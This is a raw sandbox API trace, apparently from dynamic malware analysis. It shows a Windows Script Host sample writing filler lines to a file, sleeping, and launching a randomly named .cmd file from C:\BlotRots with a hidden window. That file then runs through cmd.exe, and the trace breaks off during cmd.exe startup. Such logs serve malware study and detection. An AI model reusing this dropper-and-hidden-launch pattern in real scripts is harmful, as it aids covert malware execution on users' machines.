\");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x16 | out: _Destination="IHost.Sleep(\"7000\");\r\n") returned 0x0 [0155.908] wcsncpy_s (in: _Destination=0x249ca44f232, _SizeInWords=0x4c, _Source="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n￿dows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nêITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\nFITextStream.WriteLine(\" \");\r\n¤ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\nFITextStream.WriteLine(\" \");\r\nFITextStream.WriteLine(\" \");\r\nàITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\nĂITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\nFITextStream.WriteLine(\" \");\r\n￾th)^\");\r\n@ITextStream.WriteLine(\";sa^\");\r\n￾", _MaxCount=0x4b | out: _Destination="IWshShell3.Run(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"0\", \"0\");\r\n") returned 0x0 [0155.908] AmsiScanString () returned 0x80070015 [0158.795] free (_Block=0x249ca44d3f0) [0158.795] IUnknown:Release (This=0x249c876d0d0) returned 0x1 [0158.795] free (_Block=0x249c884a5a0) [0158.795] free (_Block=0x249c884a9a0) [0158.795] free (_Block=0x249c884ee60) [0158.795] free (_Block=0x249ca447910) [0158.795] free (_Block=0x249c884eed0) [0158.795] IUnknown:AddRef (This=0x249c876d0d0) returned 0x2 [0158.795] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0158.795] ITypeInfo:LocalInvoke (This=0x249c876d0d0) returned 0x0 [0158.795] ExpandEnvironmentStringsW (in: lpSrc="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", lpDst=0xa3529dcca0, nSize=0x400 | out: lpDst="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd") returned 0x2d [0158.795] LoadLibraryExW (lpLibFileName="shell32.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff9e6550000 [0158.796] GetProcAddress (hModule=0x7ff9e6550000, lpProcName="ShellExecuteExW") returned 0x7ff9e6573e10 [0158.796] ShellExecuteExW (in: pExecInfo=0xa3529dd480*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xa3529dd480*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x4bc)) returned 1 [0159.389] CloseHandle (hObject=0x4bc) returned 1 [0159.389] IUnknown:Release (This=0x249c876d0d0) returned 0x1 [0159.389] GetCurrentThreadId () returned 0x1020 [0159.389] GetCurrentThreadId () returned 0x1020 [0159.389] GetCurrentThreadId () returned 0x1020 [0159.389] GetCurrentThreadId () returned 0x1020 [0159.389] GetCurrentThreadId () returned 0x1020 [0159.389] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.390] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.391] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.392] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.393] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.394] realloc (_Block=0x249c884e840, _Size=0x2000) returned 0x249ca47e680 [0159.394] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.395] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] malloc (_Size=0x4008) returned 0x249ca480690 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.396] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.397] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.398] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.399] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.400] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.401] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] realloc (_Block=0x249ca44bfe0, _Size=0x2800) returned 0x249ca4846a0 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.402] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.403] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] malloc (_Size=0x4008) returned 0x249ca486eb0 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.404] GetCurrentThreadId () returned 0x1020 [0159.405] free (_Block=0x249c884a950) [0159.405] free (_Block=0x249ca4d3bc0) [0159.405] free (_Block=0x249c884aa80) [0159.405] ISystemDebugEventFire:IsActive (This=0x249c86bcb60) returned 0x1 [0159.405] GetCurrentThreadId () returned 0x1020 [0159.405] IUnknown:Release (This=0x249c876d0d0) returned 0x0 [0159.406] free (_Block=0x249c884a540) [0159.413] ISystemDebugEventFire:EndSession (This=0x249c86bcb60) returned 0x0 [0159.413] IUnknown:Release (This=0x249c86bcb60) returned 0x1 [0159.413] GetUserDefaultLCID () returned 0x411 [0159.413] GetACP () returned 0x4e4 [0159.413] free (_Block=0x249c884a360) [0159.413] free (_Block=0x249c884a290) [0159.413] free (_Block=0x249c884a6e0) [0159.414] free (_Block=0x249c884a3f0) [0159.414] free (_Block=0x249ca491ed0) [0159.414] free (_Block=0x249c8849f50) [0159.414] free (_Block=0x249c884aa20) [0159.414] IUnknown:Release (This=0x249c86bcb60) returned 0x0 [0159.414] free (_Block=0x249ca451280) [0159.414] free (_Block=0x249c884ac60) [0159.414] SendMessageA (hWnd=0x2031a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0159.418] SendMessageA (hWnd=0x2031a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0159.418] PostMessageA (hWnd=0x2031a, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0159.421] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0xa3529df910*=0x12c, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x1cff) returned 0x0 [0159.421] CloseHandle (hObject=0x12c) returned 1 [0159.421] free (_Block=0x249c88455f0) [0159.422] IUnknown:Release (This=0x249c86b1eb0) returned 0x0 [0159.422] free (_Block=0x249c88416f0) [0159.422] IUnknown:Release (This=0x249c86b1f60) returned 0x0 [0159.422] free (_Block=0x249c8845590) [0159.422] IUnknown:Release (This=0x249c86b2010) returned 0x0 [0159.422] free (_Block=0x249c88454f0) [0159.422] IUnknown:Release (This=0x249c86b1e00) returned 0x0 [0159.423] free (_Block=0x249c8841660) [0159.424] free (_Block=0x249c884ab70) [0159.425] GetProcAddress (hModule=0x7ff9dc490000, lpProcName="AmsiUninitialize") returned 0x7ff9dc492260 [0159.425] AmsiUninitialize () returned 0x1 [0159.439] FreeLibrary (hLibModule=0x7ff9dc490000) returned 1 [0159.439] free (_Block=0x249c8849810) [0159.439] free (_Block=0x249c884ac00) [0159.439] GetProcessHeap () returned 0x249c8690000 [0159.439] HeapFree (in: hHeap=0x249c8690000, dwFlags=0x0, lpMem=0x249c8719020 | out: hHeap=0x249c8690000) returned 1 [0159.440] free (_Block=0x249c8845b30) [0159.440] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0xa3529df940 | out: lplpMessageFilter=0xa3529df940*=0x249c8841630) returned 0x0 [0159.440] free (_Block=0x249c8841630) [0159.440] FreeLibrary (hLibModule=0x7ff9e3cd0000) returned 1 [0159.441] free (_Block=0x249c8841610) [0159.441] free (_Block=0x249c8841560) [0159.441] CoUninitialize () [0159.441] DllCanUnloadNow () returned 0x0 [0159.441] DllCanUnloadNow () returned 0x0 [0159.441] free (_Block=0x249ca451580) [0159.443] DllCanUnloadNow () returned 0x0 [0159.443] free (_Block=0x249ca451430) [0159.443] free (_Block=0x249ca451470) [0159.443] free (_Block=0x249ca4512b0) [0159.443] free (_Block=0x249ca451330) [0159.443] free (_Block=0x249ca4512f0) [0159.443] free (_Block=0x249ca451370) [0159.443] free (_Block=0x249ca451500) [0159.443] free (_Block=0x249ca4513b0) [0159.443] free (_Block=0x249ca451540) [0159.443] free (_Block=0x249ca4513f0) [0159.443] malloc (_Size=0x20) returned 0x249ca47e220 [0159.443] free (_Block=0x249ca4514b0) [0159.444] free (_Block=0x249ca47e220) [0159.444] free (_Block=0x249ca451230) [0159.444] free (_Block=0x249c884bac0) [0159.445] free (_Block=0x249c884c120) [0160.116] ExitProcess (uExitCode=0x0) [0160.119] free (_Block=0x249c884bce0) [0160.127] free (_Block=0x249c884d000) [0160.127] free (_Block=0x249c88497b0) [0160.127] free (_Block=0x249c8841750) [0160.127] free (_Block=0x249c884a1b0) [0160.127] free (_Block=0x249ca4430a0) [0160.128] free (_Block=0x249c88496a0) Thread: id = 141 os_tid = 0x1240 Thread: id = 142 os_tid = 0x1360 [0145.514] GetClassInfoA (in: hInstance=0x7ff7a9f00000, lpClassName="WSH-Timer", lpWndClass=0xa352dff940 | out: lpWndClass=0xa352dff940) returned 0 [0145.515] RegisterClassA (lpWndClass=0xa352dff940) returned 0xc21e [0145.515] CreateWindowExA (dwExStyle=0x0, lpClassName="WSH-Timer", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff7a9f00000, lpParam=0x249c88455f0) returned 0x2031a [0145.519] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x0 [0145.519] NtdllDefWindowProc_A (hWnd=0x2031a, Msg=0x24, wParam=0x0, lParam=0xa352dff2f0) returned 0x0 [0145.519] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x0 [0145.519] SetWindowLongPtrA (hWnd=0x2031a, nIndex=-21, dwNewLong=0x249c88455f0) returned 0x0 [0145.519] NtdllDefWindowProc_A (hWnd=0x2031a, Msg=0x81, wParam=0x0, lParam=0xa352dff2b0) returned 0x1 [0145.525] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x249c88455f0 [0145.525] NtdllDefWindowProc_A (hWnd=0x2031a, Msg=0x83, wParam=0x0, lParam=0xa352dff310) returned 0x0 [0145.530] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x249c88455f0 [0145.530] NtdllDefWindowProc_A (hWnd=0x2031a, Msg=0x1, wParam=0x0, lParam=0xa352dff2b0) returned 0x0 [0145.532] SetEvent (hEvent=0x128) returned 1 [0145.545] GetMessageA (in: lpMsg=0xa352dff910, hWnd=0x2031a, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xa352dff910) returned 1 [0145.545] DispatchMessageA (lpMsg=0xa352dff910) returned 0x0 [0145.545] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x249c88455f0 [0145.545] NtdllDefWindowProc_A (hWnd=0x2031a, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0145.545] GetMessageA (in: lpMsg=0xa352dff910, hWnd=0x2031a, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xa352dff910) returned 0 [0159.415] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x249c88455f0 [0159.418] GetWindowLongPtrA (hWnd=0x2031a, nIndex=-21) returned 0x249c88455f0 Thread: id = 143 os_tid = 0x1048 Thread: id = 144 os_tid = 0x104c Thread: id = 146 os_tid = 0x364 Thread: id = 147 os_tid = 0x10f8 Thread: id = 148 os_tid = 0x378 Thread: id = 149 os_tid = 0x1200 Thread: id = 150 os_tid = 0x1204 Process: id = "9" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x39113000" os_pid = "0x13f0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x13fc" cmd_line = "C:\\WINDOWS\\system32\\cmd.exe /c \"\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" \"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 151 os_tid = 0x131c [0161.034] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6e2e30000 [0161.034] __set_app_type (_Type=0x1) [0161.034] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6e2e46d00) returned 0x0 [0161.034] __getmainargs (in: _Argc=0x7ff6e2e69200, _Argv=0x7ff6e2e69208, _Env=0x7ff6e2e69210, _DoWildCard=0, _StartInfo=0x7ff6e2e6921c | out: _Argc=0x7ff6e2e69200, _Argv=0x7ff6e2e69208, _Env=0x7ff6e2e69210) returned 0 [0161.034] _onexit (_Func=0x7ff6e2e47fd0) returned 0x7ff6e2e47fd0 [0161.034] _onexit (_Func=0x7ff6e2e47fe0) returned 0x7ff6e2e47fe0 [0161.034] _onexit (_Func=0x7ff6e2e47ff0) returned 0x7ff6e2e47ff0 [0161.034] _onexit (_Func=0x7ff6e2e48000) returned 0x7ff6e2e48000 [0161.035] _onexit (_Func=0x7ff6e2e48010) returned 0x7ff6e2e48010 [0161.035] _onexit (_Func=0x7ff6e2e48020) returned 0x7ff6e2e48020 [0161.035] GetCurrentThreadId () returned 0x131c [0161.035] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x131c) returned 0x7c [0161.035] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9e80b0000 [0161.036] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="SetThreadUILanguage") returned 0x7ff9e80ca990 [0161.036] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.065] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0161.065] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x9cb92ffb88 | out: phkResult=0x9cb92ffb88*=0x0) returned 0x2 [0161.066] VirtualQuery (in: lpAddress=0x9cb92ffb74, lpBuffer=0x9cb92ffaf0, dwLength=0x30 | out: lpBuffer=0x9cb92ffaf0*(BaseAddress=0x9cb92ff000, AllocationBase=0x9cb9200000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0161.066] VirtualQuery (in: lpAddress=0x9cb9200000, lpBuffer=0x9cb92ffaf0, dwLength=0x30 | out: lpBuffer=0x9cb92ffaf0*(BaseAddress=0x9cb9200000, AllocationBase=0x9cb9200000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0161.066] VirtualQuery (in: lpAddress=0x9cb9201000, lpBuffer=0x9cb92ffaf0, dwLength=0x30 | out: lpBuffer=0x9cb92ffaf0*(BaseAddress=0x9cb9201000, AllocationBase=0x9cb9200000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0161.066] VirtualQuery (in: lpAddress=0x9cb9204000, lpBuffer=0x9cb92ffaf0, dwLength=0x30 | out: lpBuffer=0x9cb92ffaf0*(BaseAddress=0x9cb9204000, AllocationBase=0x9cb9200000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0161.066] VirtualQuery (in: lpAddress=0x9cb9300000, lpBuffer=0x9cb92ffaf0, 